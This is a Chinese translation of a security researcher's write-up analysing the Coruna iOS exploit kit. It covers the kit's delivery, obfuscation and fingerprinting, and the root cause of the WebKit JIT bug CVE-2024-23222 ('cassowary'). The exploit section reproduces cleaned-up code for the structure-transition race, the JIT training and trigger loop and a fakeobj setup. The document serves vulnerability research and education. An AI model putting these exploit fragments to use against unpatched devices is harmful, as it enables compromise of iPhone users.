Logo
Overview

Coruna 漏洞利用框架深度技术分析(翻译)

May 12, 2026
浏览量--

1. 前言

过去几周,我深入研究了这个漏洞利用套件,它非常有趣,让我回想起了当年把 iOS 安全研究当作爱好的日子。在语音通话中琢磨各个阶段的工作原理,这个过程本身就充满乐趣;我觉得在遗忘之前,应该把这些内容记录下来。
如果你和我一样,喜欢在逐步分析中核实每一个细节,我完全理解;但我也明白,你可能只是想了解一个高层概览。因此,我决定将每个子章节都作为独立部分来撰写,这意味着你可以轻松跳过任何一级或二级标题,而不会遗漏太多上下文。除此之外,我还决定将所有四级标题设为可折叠,只在那里讨论非常深入的技术细节,这样就可以轻松跳过它们。
同样,我不确定你的知识水平如何。因此,我在文章的参考部分引用了相关主题的其他文章。
现在请享受阅读吧 :)

2. 发现

Google 威胁情报小组(GTIG)和 iVerify 都发布了关于一个名为 Coruna 的漏洞利用套件的博客文章,该套件覆盖 iOS 13.0 至 17.2.1。他们没有提供样本,但由于 GTIG 公布了攻击使用的 URL 列表,其中一些 URL 仍然活跃,我得以获取到针对 iOS 17.1 的流量捕获,并以此为基础进行分析。

2.1. GTIG 与 iVerify

3月3日,GTIGiVerify 都发布了关于他们长期追踪的一款国家级 iOS 漏洞利用套件的博客文章。该套件最初被一家监控公司的客户使用,后来又被用于对乌克兰网站和中国赌博网站发起水坑攻击。在其中一个网站上,攻击者托管了该套件的调试版本,使 GTIG 得以获取漏洞名称(可能还有很多调试打印信息——真想看看这些)。因此,他们发布了一个包含全部 23 个漏洞的详细表格,涵盖名称、用途、CVE 等信息:
这是 GTIG 发布的表格,有两个小细节我不太确定:根据选择代码来看,buffout 可能从 iOS 11 起就可以被利用;Rocket 被列在 17.4 安全公告 中。但该漏洞在 iOS 版本早于 iOS 13 时会提前退出,因此我并无证据表明 buffout 可在更低版本上被利用。正如我们将在 seedbell 的分析中看到的,我现在知道所有 seedbell 变体都已在 iOS 18.0 beta 1 中被修补。
除了这个表格,关于漏洞本身公开的信息非常少。不过 GTIG 提到他们将在稍后发布根因分析(RCA),一旦发布我一定会在这里附上链接。iVerify 和 GTIG 都已经对植入物进行了深入分析,因此我不会在这篇文章中重点关注它。

2.2. 获取样本

当这些文章发布时,我非常兴奋,主要是因为近期没有任何关于 iOS 漏洞利用的大型公开分析,还因为表格中有一些条目没有 CVE、甚至没有修复版本,这表明这些漏洞尚未进行过根因分析。我特别对 seedbell PAC 绕过感兴趣,因为我过去对用户态 PAC 做过大量研究。
但由于 GTIG 和 iVerify 都没有发布任何样本,最初我自己分析它们似乎是不可能的。后来我得知 GTIG 文章中列出的一些 URL 仍然活跃,甚至还有人自愿感染自己的设备,希望能获得越狱工具。这是一个非常糟糕的主意,我至今仍不理解 GTIG 为何要公布仍在提供服务的 URL,但这使我得以获取样本并进行这次分析。这也可能让早期 iOS 17 版本的越狱成为可能。所以总的来说,我欢迎 GTIG 分享样本,但理想情况下这应该以一种受控的方式进行——例如,他们可以省略 JIT 加载器或初始 RCE 阶段,以防止他人轻易武器化该套件,但仍允许分析漏洞并将其用于越狱,而后者可以用来更好地分析未来的漏洞链。
感谢 Alfie,我得以获取到针对运行 iOS 17.1 的手机的原始流量捕获。在初始分析期间,我以为最终会遇到障碍,因为漏洞利用套件会进行 Diffie-Hellman 密钥交换然后加密后续阶段,但正如我们将看到的,令我惊讶的是情况并非如此。
该捕获包含以下文件:
TEXT
377bed7460f7538f96bbad7bdc2b8294bdc54599.js
4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js
4a75f0551eba446b4fa35127024a84b71d9688d6.js
6beef463953ff422511395b79735ec990bed65f4.js
7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js
9af53c1bb40f0328841df6149f1ef94f5336ae11.js
bef10a7c014b826e9dd645984e80baf313c1635f.js
favicon.ico
group.html
它来自其中一个中国赌博网站,所以我拿到的是他们版本的套件和植入物。该套件的其他变体可能有所不同,但根据背景来看,我怀疑任何一个部署都没有做大的改动。

2.3. 相关行动

事态出现了非常有趣的转折:大约三周后的18日,GTIGiVerifyLookout 都发布了关于另一款名为”DarkSword”的 iOS 漏洞利用套件的博客文章。这是 Lookout 通过跟踪 Coruna 的 C2 基础设施,并在同一 IP 地址上发现了一个提供类似漏洞利用套件的域名而发现的。由于该套件后来也在 GitHub 上被泄露,我推测其他人也做了同样的事情。所以 GTIG 不仅暴露了 Coruna 正在活跃服务的 URL,而且还促成了另一个套件的发现。由于 DarkSword 完全用 JavaScript 编写且完全没有混淆,它更容易分析,并且已经有一些关于它的文章(例如关于内核漏洞的分析)。如果我有时间,我可能仍然会决定再写一篇关于它的分析并在这里附上链接。
尽管 DarkSword 与 Coruna 由同一运营方使用,但这两个套件差异显著,且 Coruna 存在大量可被开发者复用的工程痕迹,因此我认为它们并非出自同一开发实体。相反,看起来运营商是从两个不同来源获取了这些套件。

3. 技术分析

本节我将对套件展开全面分析,从着陆页讲起,直至 SPTM/PPL 绕过。由于只有 iOS 17.1 版本的流量捕获,此分析仅限于该版本套件中使用的漏洞,即 cassowary(WebContent 读写)、seedbell_17(PAC 绕过)、Gruber(内核读写)和 Rocket(PPL/SPTM 绕过)。我尚未分析 Sparrow(PPL 绕过——暂时 ;)。我不会深入分析植入物本身,因为 GTIG 和 iVerify 都已经对其进行了深入分析。除了漏洞本身,我还将涵盖围绕它们的大量基础设施以及中间阶段,如 MachO 加载框架。
Cassowary 源于 JIT 编译器线程与主线程之间的竞态条件,并被转化为类型混淆。随后将其升级为经典的 fakeobj 和 addrof 原语,并通过 3 个阶段升级到 WebContent 进程中的完整读写能力。随后框架检测 PAC;若存在,则通过 seedbell_17 获取 PACIZA 签名原语,然后将其升级为 8 参数函数调用原语。有了调用任意函数的能力和 WebContent 进程中的完整读写能力,该套件随后使用一个模块将 MachO 文件加载到内存中并执行它。这个 MachO 文件通过共享内存缓冲区与 JavaScript 通信,并下载一个配置文件以及另外两个阶段,后者包含内核 LPE Gruber 和 PPL/SPTM 绕过 Rocket。Gruber 是 vm 子系统中的竞态条件,会导致 vm_object 上的引用计数减少,随后将其转化为 pUAF,并进一步升级为物理映射原语,从而获得内核读写能力。之后使用 GFX 协处理器通过 Rocket 绕过 PPL/SPTM,创建一个自引用页表项,从而允许套件写入任何物理地址。之后的植入物加载阶段,我没有进一步分析。

3.1. 投递(+ JS 框架)

本节涵盖漏洞利用套件的投递机制以及编排漏洞利用的主要 JavaScript 框架,通过加载不同模块来完成各个漏洞利用阶段。模块本身将在下一节中进一步探讨。

3.1.1. group.html

漏洞利用套件通过 group.html 投递,可以分为以下组件:
  • 禁用页面缓存的 HTML meta 标签
  • 一个包含两个不同部分的 script 标签,用于投递漏洞利用
  • Google 和 Cloudflare 跟踪链接

3.1.2. 嵌入式 JavaScript

嵌入式 JavaScript 分为两个部分:第一部分负责实际的漏洞利用,第二部分负责指纹采集。代码经过压缩和轻度混淆,具体使用了三种技术:
  • 变量名被替换为无意义的字符串;这种映射似乎是确定性完成的,因为跨源文件是稳定的
  • 整数通常通过将其转换为简单表达式(主要是异或)来混淆,例如 (1163411831 ^ 1146639985)
  • 许多字符串被转换为 [115,118,...,39,32,114].map(p=>String.fromCharCode(p^66)).join("") 的形式,使用随机的异或密钥
我无法将这种混淆模式与任何已知的公共混淆器关联起来(最接近的是 Metasploit 的,但看起来是定制的)。

3.1.2.1. 编写”反混淆器”

(点击展开)
变量重命名无从着手,但对于整数和字符串,我决定编写几个正则表达式,然后就地计算表达式:
TEXT
const stringRegex = /\[\d+(, ?\n?\d+)*\]\.map\((.) ?=> ?({return )?String\.fromCharCode\(\2 ?\^ ?(\d)+\)(;?})?\)\.join\(\"\"\)/g;
    const xorRegex = /\(-?(\d){3,} \^ -?(\d){3,}\)/g;
    const addRegex = /\(-?(\d){3,} \+ -?(\d){3,}\)/g;

    const matches = [...fileText.matchAll(stringRegex)];
      for (const match of matches) {
        const expr = match[0];
        let replacement = '';
        try {
          replacement = eval(expr);
        } catch (e) {
          replacement = expr;
        }
        replacement = "\"" + replacement + "\"";
        output = output.replace(expr, replacement);
      }
      ...
之后,我将反混淆后的压缩 JavaScript 通过 js-beautify 运行,然后开始在支持变量重命名的 IDE 中逆向它,尽可能在注释中跟踪原始变量名,这样我仍然可以在 JS 文件之间交叉引用它们。
第二部分仅负责指纹采集,快速总结如下:1 秒后它会——
  • 检查浏览器是否存在漏洞,如果是:
  • 获取客户端的 IP 地址
  • 从用户代理获取操作系统版本
  • 将这些信息发送到服务器
第一部分将初始化一个我命名为 dispatcher 的大对象,负责管理多个不同的 JavaScript 模块。它已经内置了两个模块,编码为 base64 字符串,但也支持稍后通过传递 base64 或 XMLHttpRequest 加载新模块。
模块可以通过其哈希值访问,两个已加载的模块是:
  • 57620206d62079baad0e57e6d9ec93120c0f5247:一个杂项辅助库
  • 14669ca3b1519ba2a8f40be287f646d4d7593eb0:主漏洞利用模块
从长度来看,这些哈希应为 SHA1,但我未能找到任何字符串,其哈希值与它们匹配。由于 GTIG 提到他们有这个套件的调试版本,我想知道哈希是否是在该版本上生成的,或者我们是否能够通过它获取真实名称。

3.1.2.2. 辅助模块

辅助模块包含处理数字的类,因为 JavaScript 无法原生表示 64 位整数。有一个类将 64 位数字保存在两个 32 位部分中,然后处理 JSValue、浮点数或 BigInt 的输入和输出,并对其进行基本数学运算。第二个类用于在不同类型之间进行转换,使用众所周知的技巧:让 ArrayBuffer 在不同类型的 JS 数组和 DataView 之间共享。除此之外,还有处理不同字符串的函数,基本上是在 UTF-16 和 UTF-8 之间转换、处理字节数组以及基于类似 LZW 压缩的字符串解压缩。还有一些粘合代码,主要是将不同数字表示形式粘合在一起。这是我注意到这个套件普遍存在的一个问题:通常有多个相同逻辑的实现,可能是因为不同的开发团队在不同的链部分工作,后来他们不得不将所有这些集成在一起,但没有做适当的工程工作来统一代码库。
在大型 dispatcher 对象之外,主脚本将设置 dispatcher 获取模块的基础 URL 和一个 cookie。根据博客文章,这个 cookie 对每个受害者是唯一的。cookie 被前置到模块的哈希值,然后通过 JS SHA1 实现计算整个内容的 SHA1 哈希,加上”.js”后缀后从基础 URL 获取模块。
10毫秒后(推测是为了让页面的其余部分加载完成),主函数被调用,返回值被发送回服务器。主函数将初始化主漏洞利用模块,该模块允许以下配置:
  • 发送日志数据的 URL(此部署中未设置)
  • 用于稍后获取配置和动态库(MachO 链接器、LPE 和植入物)的资源 URL
  • 用于解密所有获取的动态库/配置的 ChaCha20 密钥(此密钥在脚本中硬编码)
  • 允许在无头浏览器/自动化环境下继续运行的布尔值(部署中为 false)
  • 启用日志记录的布尔值(部署中为 false)
  • navigator.platform
  • navigator.userAgent
随后,若未在 Safari 或 AppleWebKit 中运行,它将报错退出,并从用户代理解析 iOS 版本。看起来除了常规 Safari 之外,该漏洞利用套件还支持从 iTunes Store 运行,这通过在 JS 中匹配用户代理中的 MobileStore 字符串,以及稍后在 LPE 阶段中体现。对于所有这些值,代码更新一个我称为 device_properties 的全局结构。最后一步是根据版本特定的值更新此结构。有趣的是,这样做的方式是遍历按最旧版本排序的版本数组,然后让更新的版本覆盖更旧的属性。我觉得这很巧妙,因为它允许在属性改变时轻松更新,而不必每次都完全复制它们。
之后,如果运行在 macOS 上(通过 platform 或 TouchEvent 不存在来检测),或者 iOS 版本低于 iOS 13,漏洞利用主函数将报错退出。对于 iOS 16 及更高版本,它们使用主模块中的辅助函数检测锁定模式(LDM),该函数将检查 RTC JS 接口(例如 RTCPeerConnection)是否存在、WebGLRenderingContext 是否存在,以及通过 <math> HTML 标签的数学文本渲染是否正常工作,如果检测到则退出。类似地,如果设备在无头浏览器中(通过 navigator.webdriver 检测)或在隐私浏览模式中(通过 indexedDB 或 localStorage 检测),它也会退出,除非配置允许继续。我认为这强烈暗示该套件已经在某种自动化设置中测试过,这种检测被设为非致命的。
指纹采集完成后,它将根据 iOS 版本选择对应的 WebContent 读写漏洞利用模块。如果找不到,它将再次退出(例如运行 iOS 17.3 或更高版本的设备就是这种情况),然后调用它最多 20 次以获取读写能力。在此捕获中,选择了 e3b6ba10484875fabaed84076774a54b87752b8a,即 cassowary 漏洞利用。
获得读写能力后,它可通过比较 WebAssembly.Table 与 WebAssembly.Instance 对象函数指针的高 32 位来检测 PAC;如果相同则假定没有 PAC。由此他们还获得了指向 JavaScriptCore (JSC) 的函数指针,从中可以回溯到 MachO 头部(在页面开头搜索 0xFEEDFACF),然后从中读取 CPU 类型以确定运行在 ARM 还是 Intel 上。这用于对配置值进行最后一轮更新以选择正确的漏洞利用,然后 device_properties 对象被冻结。
若检测到 PAC,则需要予以绕过。为此,它们调用一个辅助函数,该函数将根据 iOS 版本加载一个 PAC 绕过模块并调用它,以导出一个签名器对象,允许外部调用从那时起使用任何密钥和上下文进行签名。对于其中两个 PAC 绕过,除了 PAC 绕过模块(29b874a9a6cc9fa9d487b31144e130827bf941bb(seedbell_17)或 9db8a84aa7caa5665f522873f49293e8eebccd5c(可能是 seedbell_16.6))之外,还加载了一个辅助模块(477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba),该模块导出 dyld 共享缓存解析功能到主 PAC 绕过模块。对于此捕获,加载了 seedbell_17,因为它针对的是具有 PAC 的设备上的 iOS 17.1。
在获得读写及任意函数调用能力后,该套件随即加载原生代码并执行其 LPE。为此它将加载最后一个 JavaScript 模块(在此捕获中为 c03c6f666a04dd77cfe56cda4da77a131cbb8f1c),然后该模块执行 JITBox 绕过,并使用一段 shellcode 来链接一个 MachO(以内联 base64 压缩存储),然后使用 JavaScript 获取配置和另外两个动态库并加载执行,后者是权限提升阶段。
总体而言,其设计相当巧妙:它在另一个线程上执行原生代码的同时维持 JS 代码执行,并通过数组在两者之间通信。我将在 MachO 加载器框架 部分进一步详述这一点。
这就是整个链,让我们详细看看各个模块:

3.2. WebKit 读写

注意:这是我首次深入研究 JSC JIT 漏洞,因此某些细节可能不够准确。我很乐意接受任何修正,如果有人发布其他分析文章,我也会链接到这里。
该漏洞是 JSC 属性观察点机制中的一个弱点,可以通过竞态编译器线程和主线程将其转化为类型混淆。这然后被升级为经典的 fakeobj 和 addrof 原语,从那里通过数组 butterfly 从相对写入升级到绝对写入,然后通过 WebAssembly (Wasm) 全局变量升级到完整读写。
别担心——上面段落中一半的术语我在开始时也不理解,这就是为什么我专门写了下一节,在讨论漏洞之前更详细地解释一些概念。

3.2.1. 理解漏洞所需的信息

为了彻底理解其原理,我们需要涉及大量背景知识。我将尝试在这里总结我的整个心智模型,既帮助经验较少的人更好地理解,也可能会让更有经验的人发现其中的缺陷。话虽如此,整个过程太复杂了,无法在一个章节中完全涵盖,所以我强烈建议阅读这篇关于 JSC 中 JIT 的非常长但非常好的博客文章,以及可能还有这个博客文章系列,这些帮助我更好地理解了一些不同的 JIT 阶段。
JavaScript 是一种弱类型语言,这意味着同一个变量在运行时可以持有不同类型的值。例如,一个变量最初可以持有一个整数,后来持有一个字符串。因此,即使是简单的加法操作也可能有非常复杂的实现,因为它们需要考虑不同的变量类型(例如,“相加”两个字符串会将它们连接起来)。这使得 JS 执行相当慢,但现代 Web 应用程序有性能需求,需要以某种方式变得更快。为了加速执行,所有现代浏览器都有一个即时(JIT)编译器,它将 JS 字节码(解释器使用的 JS 代码的中间表示)编译为原生机器码。然后,在编译完成后,浏览器将跳转到编译后的代码并执行它而不是解释字节码,这要快得多。但即使这样还不够,因为基本上这只意味着 Web 开发者会写更多会导致网站再次卡顿的代码,所以在这个已经非常复杂的编译过程之上,JIT 做了大量的优化工作来使代码运行更快,这反过来又创造了更多的复杂性,从而为漏洞创造了更多攻击面。
由于编译本身属于计算密集型操作,JIT 仅会编译”热”代码,即被执行多次的代码。在 JSC 中,函数通过不同的 JIT 进行”分层升级”,这些 JIT 做越来越激进的优化,以在编译时间和因更快执行而节省的时间之间取得良好的平衡。
除了减少浪费工作的机会外,这还允许运行时在所谓的分析阶段收集(类型)信息,然后可以在实际编译阶段用于更好的优化,从而带来又一个性能提升。
类型系统中还有一个重要的部分需要理解才能理解这个漏洞:JS 对象又是一种非常通用的类型,可以以多种不同方式使用,因此应该对它们应用不同的优化。因此,在 JSC 中所有对象都持有一个指向所谓结构的指针,该结构包含对象的描述,具体来说就是对象持有哪些属性以及它们在对象中存储在哪里。
举个具体例子:假设有一个对象 obj,拥有 prop1 和 prop2 两个属性,该对象将持有一个指向结构的指针,该结构声明:prop1 存储在内联偏移 0x10 处,prop2 存储在内联偏移 0x18 处。当 JS 程序访问 obj.prop1 时,运行时将读取结构指针,在其中找到 prop1 及其在对象中的偏移,然后从该偏移读取值。多个对象可以有相同的结构,但类型系统只能向前移动——意思是如果你给对象添加一个新属性,它将转换到一个新结构,但如果你删除同一个属性,它不会转换回旧结构,而是转换到另一个新结构。
JIT 编译包含多个阶段,与我们相关的是控制流分析(CFA)和常量折叠。在 CFA 期间,JIT 将类型预测转换为类型证明,例如允许加法操作只发出整数加法指令,如果它能证明两个操作数始终是整数(且不会溢出)。常量折叠是一种优化,允许 JIT 在编译期间预计算值,例如如果我们有 let a = 1 + 2;,JIT 可以预计算 a 的值为 3,然后直接发出该值而不是加法指令。
这在 JSC 中不仅仅限于简单的算术运算。例如如果我们有 let a = obj.prop1; 并且 JIT 能证明 obj 始终具有相同的结构且 prop1 始终存储在偏移 0x10,它可以从 obj + 0x10 加载而不是做完整的属性访问逻辑,这要快得多。
JSC 甚至更进一步,试图预测 obj.prop1 是否始终是相同的值。例如如果 prop1 始终是 1.1,它可以预计算 a 的值为 1.1 并发出该值而不是加载指令。虽然对于不太复杂的情况,人们可以很容易地看到运行时检查如何足以进行验证(if (struct(obj1) != S1) {fallback();}),但对于更复杂的情况,这很难通过运行时检查来解决。因此,JIT 有另一个称为观察点的功能,它可以在对象上设置。若在运行时此类观察点被触发,运行时将作废已编译代码并回退至解释器。这些与运行时检查很好地互补,因为虽然运行时检查必须在热函数内部并因此在每次调用函数时运行,但观察点可以设置在非常不可能发生的操作上,然后不需要发出运行时检查,因为如果它们曾经触发,代码将被保证无效。所以观察点允许更激进的优化,比如上面的那个。
有两种与我们相关的观察点类型:属性替换观察点和结构转换观察点。
属性观察点在对象的属性被更改时触发。例如如果我们有 obj.prop1 = 1.1; 然后后来 obj.prop1 = 2.2;,并且在两者之间 JIT 决定对 prop1 设置观察点,第二次赋值将触发观察点从而使编译后的代码无效。
结构转换观察点在对象的结构发生变化时触发。例如如果我们有 obj.prop1 = 1.1; 然后后来 delete obj.prop1;,obj 将转换到一个新结构,如果 JIT 在旧结构上设置了观察点,它将触发并使编译后的代码无效。重要的是,转换观察点只能设置在”叶子”结构上,即结构树中没有子节点的结构,意味着它们不是任何转换的源。这样做的主要理由是,如果一个结构在树中有子节点,那么这个观察点很有可能会触发从而使代码无效,这太昂贵了,所以 JIT 宁愿不做这个优化。

3.2.2. 漏洞

Cassowary 作为 CVE-2024-23222 被修复,Apple 安全公告声明:
TEXT
WebKit
适用于:iPhone XS 及更新机型、iPad Pro 12.9 英寸第 2 代及更新机型、iPad Pro 10.5 英寸、iPad Pro 11 英寸第 1 代及更新机型、iPad Air 第 3 代及更新机型、iPad 第 6 代及更新机型以及 iPad mini 第 5 代及更新机型
影响:处理恶意制作的 Web 内容可能导致任意代码执行。Apple 知道有报告称此问题可能已被利用。
描述:类型混淆问题已通过改进检查得到解决。
WebKit Bugzilla:267134
CVE-2024-23222
从中我们获得了 Bugzilla ID 267134,报告仍然保密,但我们可以在 WebKit 仓库中找到修复该问题的提交:

3.2.2.1. 提交信息

TEXT
commit 64714692967ad278155fcae66c5cb0f853b3bf34
Author: Yusuke Suzuki <已编辑>
Date:   Thu Jan 25 01:25:49 2024 -0800

    [JSC] DFG 常量属性加载应在主线程检查有效性
    https://bugs.webkit.org/show_bug.cgi?id=267134
    rdar://120443399

    由 Mark Lam 审查。

    考虑以下情况,

        CheckStructure O, S1 | S3
        GetByOffset O, offset

    并且 S1 -> S2 -> S3 结构转换发生。
    通过与编译器并发更改对象,可能在 CFA 期间用 O + S2 常量折叠属性。
    虽然我们在 S1S3 中插入了观察点,但我们无法注意到 S2 中属性的变化。
    如果我们在运行代码之前将 O 更改为 S3,CheckStructure 通过并且我们可以使用从 O + S2 加载的值。

    1. 如果 S1S3 的转换都已经被 DFG / FTL 观察到,那么我们不需要关心这个问题。
       CheckStructure 确保 OS1S3。并且两者都有在转换发生时触发的观察点。
       所以,如果我们在编译期间从 S1 转换到 S2,它已经使代码无效。
    2. 如果只有一个结构(S1),那么我们可以通过在主线程检查此条件来保持当前优化。
       CheckStructure 确保 OS1。这意味着如果在主线程满足此假设,我们可以安全地继续使用此代码。
       为了检查此条件,我们添加了 DesiredObjectProperties,它记录 JSObject*、偏移、值和结构。
       在编译结束时,在主线程中,我们检查此假设是否仍然满足。

commit 66f60deae730514621d3f9c5e620aaa76e03f8f8
Author: Yusuke Suzuki <已编辑>
Date:   Thu Jan 25 01:25:49 2024 -0800

    [JSC] 移除 DFGDesiredObjectProperties
    https://bugs.webkit.org/show_bug.cgi?id=267134
    rdar://120443399

    由 Mark Lam 审查。

    当我们将结构限制为只有一个时,在保持对象结构不变的情况下,无法在不触发属性替换观察点的情况下更改属性。因此移除 DFGDesiredObjectProperties。
更改在一个名为 tryGetConstantProperty 的函数中,该函数负责在给定基址和偏移的情况下获取值,同时验证基址在一组结构中并保证返回后值不会改变。
为此,旧函数首先在集合中的所有结构上放置属性替换观察点,然后获取基址上的 cell 锁并验证基址的结构在集合中。如果所有这些都成立,它将使用 getDirectConcurrentlybase + offset 读取值并返回。其理由是值不可能在不触发某个属性替换观察点并使代码无效的情况下改变,或者如果基址的结构被更改,运行时检查将不会通过,代码将回退到解释器处理此对象。开发者没有注意到的是,基址可以被转换到不在集合中的结构,其属性被修改,然后转换回集合中的不同结构,这允许在不触发任何观察点的情况下修改值,同时仍然通过运行时检查。
修复方案是将此优化进一步限制为:
  • 集合只有一个结构——因为结构转换只是”向前”的,我们永远不能离开此结构,进行修改然后再回到它,所以这是安全的
  • 集合中的所有结构都被转换观察——因为那样我们同样不能在不触发观察点从而使代码无效的情况下从结构转换离开

3.2.3. 漏洞利用

在本节中,我们将基于反混淆和清理后的代码来探讨漏洞利用。
在开始之前,我想提一下,通常这些漏洞利用是以闭环方式开发的,开发者与 JIT “共舞”直到它给出期望的代码生成。因此,一些代码可能是该过程的遗留物,可能并非漏洞利用工作所严格需要的。
这很重要,因为这意味着可能不是每一行代码都有好的理由,但我仍然会尝试提供一个解释。
漏洞利用的高层思路是通过让 tryGetConstantProperty 在 CFA 期间成功并返回一个浮点数组来毒害 JIT 编译器的类型信息,但在运行时实际上在一个对象数组上运行函数。这样他们就可以对指针执行优化的浮点操作,轻松创建 fakeobj 原语。具体来说,cassowary 将给指针加 0x10,将其从对象开头(JSCell 头部和 butterfly 指针所在的位置)移动到第一个完全由攻击者控制的内联属性,访问未对齐指针时该属性将被解释为 JSCell 头部。
这基本上导致了以下代码模式,他们围绕它构建漏洞利用:
TEXT
let i32Arr = new Uint32Array(2);
let f64Arr = new Float64Array(i32Arr.buffer); // 与 i32Arr 共享同一缓冲区
function jitted_func() {
    // 做魔术
    // [...]
    let typeConfused = obj.p1 // 由于 CFA,JIT 认为 obj.p1/typeConfused 始终是 64 位浮点数组,实际上我们传递的是一个包含对象指针的数组
    f64Arr[0] = typeConfused[1]; // 因此,这变成了一个简单的存储,我们将指针作为浮点数存储到数组中
    i32Arr[0] = i32Arr[0] + 16; // 然后我们将指针增加 0x10(i32Arr 和 f64Arr 共享同一缓冲区/操作同一内存)
    typeConfused[1] = f64Arr[0]; // 然后我们将其存回,由于类型混淆,这又是一个简单的存储,但现在在原始数组中我们有一个指向对象第一个属性而不是 JSCell 头部的指针
现在为了触发这个漏洞,obj 需要被观察为结构类型 S1 或 S3,并且 tryGetConstantProperty 在 CFA 期间成功。为此,漏洞利用首先创建一个包含 3 个结构的结构树/链:S1 -> S2 -> S3(实际上这个链还有一些我省略的临时结构)。
TEXT
function newTarget() {} // 单个构造函数,使 structS1 和 structS3 共享相同的结构类型
let structS1 = Reflect.construct(Object, [], newTarget);
let structS3 = Reflect.construct(Object, [], newTarget);
// 此时 structS1 和 structS3 具有相同的结构
structS1.p1 = floatArrWProp1;
structS1.p2 = floatArrWProp1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
// 现在 structS1 和 structS3 又具有相同的结构,这就是我们的"S1"
delete structS3.p2;
// 这将 structS3 转换到我们的"S2"
delete structS3.p1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
// 现在它是我们的最终"S3"结构
然后他们需要训练运行时将 obj 视为 S1 或 S3,但同时需要避免某些优化。为此他们在上面的代码周围创建了以下构造:
TEXT
function toJIT(useS3) {
    let obj = structS1;
    if (useS3) {
        obj = structS3;
        (0)[0]
    }
    let typeConfused = obj.p1;
    if (useS3) typeConfused = floatArrWProp2;
    f64Arr[0] = typeConfused[1];
    i32Arr[0] = i32Arr[0] + 16;
    typeConfused[1] = f64Arr[0];
}
现在我不是 100% 确定为什么需要这个确切的构造,但我可以告诉你 (0)[0] 充当”JIT 屏障”。通常 JIT 会在死代码消除阶段将此代码优化掉,但似乎有一个常量整数基址阻止了它进行此优化(我假设因为没有常规 JS 代码会有它),这意味着它必须发出一个可能有副作用的原始属性访问。这强烈促使 JIT 在 useS3 为真时不进行优化,在后续的分层升级中我们也看到它只为 S1 情况发出代码,并为 S3 情况回退到解释器,但在类型观察期间它仍然会看到两种情况,因此为 obj 创建结构集 {S1, S3}。
原始漏洞利用在属性访问上方还有 "uo" in obj;,但即使没有它漏洞仍然可以触发。我猜测它放在那里是为了强制 JIT 在那里发出结构运行时检查,但这纯粹是我的推测。
还有一个注意事项:在 CFA 之后,编译器还会有常量折叠阶段,它将再次以与 CFA 完全相同的参数调用 tryGetConstantProperty,因此它也会成功并返回一个浮点数组。然后 JIT 将继续把 p1 的值折叠到生成的代码中,而不是发出属性访问。这就是将攻击转化为竞态的原因,因为漏洞利用需要 tryGetConstantProperty 在 CFA 调用中成功但在常量折叠期间失败。幸运的是,这很容易通过在主线程上的两次调用之间更改 obj 的结构类型来实现,因为 tryGetConstantProperty 会在 obj 的结构不在预期集合中时退出,导致 JIT 发出属性访问而不是折叠值,但仍然基于 CFA 阶段的错误类型信息进行操作。
综合起来,函数调用如下:
TEXT
const jitIterTotal = 0x1000000;
const jitIterTrain = 0x20000;
for (let jitIterCnt = 0; jitIterCnt < jitIterTotal; jitIterCnt++) {
    if (jitIterCnt > jitIterTrain) {
        toJIT(false,true); // 强制编译
    }else{
        toJIT(jitIterCnt % 2 && jitIterCnt < 256, jitIterCnt > 4096); // 训练
    }
    if (jitIterCnt == jitIterTrain) {delete structS1.p2;} // 触发结构转换到 S2
}
// 然后在 S1/S3 之外修改 p1 以避免观察点
delete structS1.p1;
structS1.p1 = fakeFloatArr;
structS1.p2 = 1;
// structS1 现在是 S3(绕过运行时检查)
toJIT(false, false); // 触发
其中第二个参数是快速路径,用于完全跳过函数中的执行,推测是为了不打扰类型信息。fakeFloatArr 在循环之前这样创建:
TEXT
let victimObj = {prop1: 1, prop2: 2};
let fakeFloatArr = [1.1, victimObj];
当漏洞成功触发时,fakeFloatArr 将被解释为常规浮点数组,fakeFloatArr[1] 将不再指向 victimObj,而是指向 victimObj 的第一个属性,该属性完全由攻击者控制,可以用作伪造对象原语。
单独来看,由于两个编译器阶段之间的竞态窗口极难从 JS 侧命中,触发漏洞相当困难。因此,漏洞利用在重要代码周围填充了虚拟代码来减慢编译过程,这基本上在我的机器上给了约 80% 的命中率。虚拟代码只是一个不容易被优化掉的简单循环:while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
漏洞利用做的另一件我没有解释的事情是在 JIT 代码生成后立即触发 Eden GC:
TEXT
for (let t = 0; t < 0x100000; t++) new Array(13.37, 13.37, 13.37, 13.37);
我认为它可能有两个目的:
  • 它会延迟 JIT 热循环和触发之间的执行,这增加了函数作为 JIT 代码可用的可能性(尽管机会已经非常高)
  • 它会清理 Eden 堆,正如我们将在下一阶段看到的,代码然后会进行堆喷射,所以干净的堆状态会大大帮助
但即便没有它,漏洞仍可触发。

3.2.3.1. 确认理论和漏洞实验

为了确认漏洞,我使用 --dumpAirGraphAtEachPhase=true 转储了成功和失败运行的 Air 汇编,然后比较两者。
在这样做时,我看到在失败的情况下我们将 floatArrWProp1 的值常量折叠到函数中:
TEXT
Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move $0x101031390, %x0 ; 折叠常量
Air     Move (%x0), %x0
Air     Move32 -8(%x0), %x1
Air     Patch &Branch32(3,SameAsRep)3, BelowOrEqual, %x1, $1, $0x101031388
Air     MoveDouble 8(%x0), %q0
[...]
因此我想到 tryGetConstantProperty 可能被多次调用,但在常量折叠阶段失败。
我决定通过在 tryGetConstantProperty 上设置断点来确认这一点,确实它被命中了多次。
为了完全确认不同代码生成的原因,我使用了这个断点:
TEXT
(lldb) break set -n tryGetConstantProperty
(lldb) break command add
> bt
> break set -o -a $lr -C "reg read x0" -C "c"
> c
> DONE
(lldb) c
产生以下输出(按 “x0 =” 过滤):
TEXT
x0 = 0x0000000101031388       x0 = 0x0000000101031388
      x0 = 0x0000000101031388       x0 = 0x0000000101031388
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000101031388       x0 = 0x0000000101031388 <--- [0]
      x0 = 0x0000000000000000       x0 = 0x0000000101031388 <--- [1] 差异
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
